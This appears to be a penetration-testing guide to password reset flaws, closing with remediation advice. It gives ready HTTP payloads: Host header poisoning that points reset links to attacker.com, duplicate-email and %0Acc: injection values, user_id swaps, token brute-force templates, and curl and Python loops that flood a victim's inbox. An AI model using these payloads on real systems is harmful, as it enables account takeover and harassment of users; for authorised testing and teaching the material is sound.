Password reset vulnerabilities occur when the password recovery mechanism is poorly implemented, allowing attackers to take over user accounts. These vulnerabilities are critical as they directly lead to account compromise without requiring the original password.
Reset tokens that are predictable or use weak randomness can be guessed or brute-forced.
Reset tokens that remain valid after use or after password change allow replay attacks.
Lack of rate limiting allows attackers to brute-force reset tokens or flood users with reset emails.
Tokens exposed in referrer headers, logs, or through other channels.
Manipulating the Host header to receive password reset links with attacker-controlled domains.
Adding multiple email parameters to receive reset tokens for victim accounts.
Tokens that don't expire or can be reused multiple times.
Manipulating user IDs or identifiers to reset other users' passwords.
Injecting malicious URLs in password reset emails through header manipulation.
System accepts password reset for any email without verification.
- Password reset forms
- Reset token generation endpoints
- Password change endpoints
- Reset link handling
- Email verification bypass
- Token validation endpoints
Vulnerability: Application uses Host header to generate password reset links.
Steps to Test:
- Intercept password reset request
- Manipulate the Host header
- Check if reset link contains attacker's domain
Request:
POST /forgot-password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
email=victim@example.comExpected Result: Victim receives email with reset link pointing to http://attacker.com/reset?token=...
Alternate Headers to Test:
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.comVulnerability: Weak or predictable reset tokens with no rate limiting.
Steps to Test:
- Request password reset for your test account
- Analyze the token format (numeric? alphanumeric? length?)
- Use automated tools to brute force tokens
- Check if rate limiting is enforced
Example Token Patterns to Test:
- 4-6 digit numeric codes:
0000to999999 - Short alphanumeric:
a1b2c3 - Predictable UUIDs or timestamps
- Sequential tokens
Burp Suite Intruder Payload:
POST /reset-password HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
email=test@example.com&token=§000000§Vulnerability: Application sends reset token to both victim and attacker when multiple email parameters are provided.
Steps to Test:
- Intercept password reset request
- Add additional email parameter with attacker's email
- Check if both emails receive reset tokens
Request:
POST /forgot-password HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
email=victim@example.com&email=attacker@example.comAlternative Formats:
email=victim@example.com,attacker@example.com
email[]=victim@example.com&email[]=attacker@example.com
email=victim@example.com%20attacker@example.com
email=victim@example.com%0Acc:attacker@example.comVulnerability: Reset tokens remain valid after password has been changed.
Steps to Test:
- Request password reset for your test account
- Receive reset token via email
- Use token to reset password
- Try using the same token again
- Token should be rejected but if it works, vulnerability exists
Request:
POST /reset-password HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
token=abc123xyz&new_password=NewPassword123&confirm_password=NewPassword123Vulnerability: User ID or identifier can be manipulated to reset other users' passwords.
Steps to Test:
- Request password reset for your account
- Intercept the reset confirmation request
- Change user_id or identifier to another user
- Complete password reset
Request:
POST /reset-password HTTP/1.1
Host: example.com
Content-Type: application/json
{
"user_id": "1234",
"token": "valid_token",
"new_password": "NewPassword123"
}Change to:
{
"user_id": "5678",
"token": "valid_token",
"new_password": "NewPassword123"
}Vulnerability: Application allows unlimited password reset requests.
Steps to Test:
- Send 100+ password reset requests for the same email
- Check if all requests are processed
- Check victim's email inbox for spam
Automated Test:
for i in {1..100}; do
curl -X POST https://example.com/forgot-password \
-d "email=victim@example.com"
doneImpact: Email flooding, denial of service, token brute force enablement
Vulnerability: Reset token in URL is leaked via Referer header.
Steps to Test:
- Receive password reset email with token in URL
- Click the reset link
- On the reset page, click any external link
- Check if Referer header contains the reset token
Example:
Reset URL: https://example.com/reset?token=abc123xyz
User clicks external link to: https://attacker.com/page
Referer: https://example.com/reset?token=abc123xyz
Fix: Use POST method or store token in session, not URL
Vulnerability: Client-side validation or response manipulation allows password reset.
Steps to Test:
- Request password reset with invalid token
- Intercept server response
- Change error response to success response
- Check if password is actually reset
Original Response:
{
"status": "error",
"message": "Invalid token",
"valid": false
}Modified Response:
{
"status": "success",
"message": "Token valid",
"valid": true
}Vulnerability: Reset tokens have no expiration time.
Steps to Test:
- Request password reset
- Save the reset link
- Wait 24-48 hours (or longer)
- Try using the old reset link
- If it works, tokens don't expire
Best Practice: Tokens should expire in 15-30 minutes
Vulnerability: System allows password reset using username enumeration.
Steps to Test:
- Try resetting password using username instead of email
- Observe different responses for valid vs invalid usernames
- Enumerate valid usernames
Request:
POST /forgot-password HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=adminResponse Analysis:
- Valid user: "Reset link sent"
- Invalid user: "User not found"
Vulnerability: Predictable tokens due to weak randomness.
Steps to Test:
- Request multiple password reset tokens
- Analyze patterns in tokens
- Check if tokens are based on:
- Current timestamp
- User ID
- Sequential numbers
- Weak hash functions (MD5 of predictable data)
Example Weak Token:
Token: md5(user_id + timestamp)
If user_id=1000 and you know approximate time, token is predictable
Vulnerability: Password reset endpoint doesn't require current password.
Steps to Test:
- While logged in to your account
- Request password reset
- Complete reset without providing current password
- Check if 2FA or additional verification is bypassed
- Intruder for token brute forcing
- Repeater for parameter manipulation
- Scanner for automated detection
import requests
# Test for rate limiting
for i in range(100):
response = requests.post(
'https://example.com/forgot-password',
data={'email': 'victim@example.com'}
)
print(f"Request {i}: {response.status_code}")# Analyze token entropy and patterns
tokens = [
'abc123',
'abc124',
'abc125'
]
# Check for sequential patterns, low entropy, predictability- High: Direct account takeover
- Critical: If admin accounts can be compromised
- Data Breach: Access to sensitive user data
- Reputation Damage: Loss of user trust
-
Use Cryptographically Secure Random Tokens
- Minimum 32 characters
- Use
crypto.randomBytes()or equivalent
-
Implement Token Expiration
- 15-30 minutes validity
- One-time use only
-
Rate Limiting
- Limit reset requests per email/IP
- Implement CAPTCHA after multiple attempts
-
Invalidate Old Tokens
- After password change
- After successful use
- After expiration time
-
Use POST Method
- Never put tokens in URL/GET parameters
- Prevent Referer leakage
-
Validate Host Header
- Whitelist allowed domains
- Don't use Host header in email generation
-
Implement Proper Email Verification
- Confirm email ownership
- Send notifications for reset attempts
-
Multi-Factor Authentication
- Require additional verification
- SMS/App-based OTP
-
Account Lockout
- Temporary lock after multiple failed attempts
- Notify user of suspicious activity
-
Security Logging
- Log all reset attempts
- Monitor for abuse patterns
- Alert on suspicious behavior
See password-reset-payloads.txt for a comprehensive list of password reset attack payloads.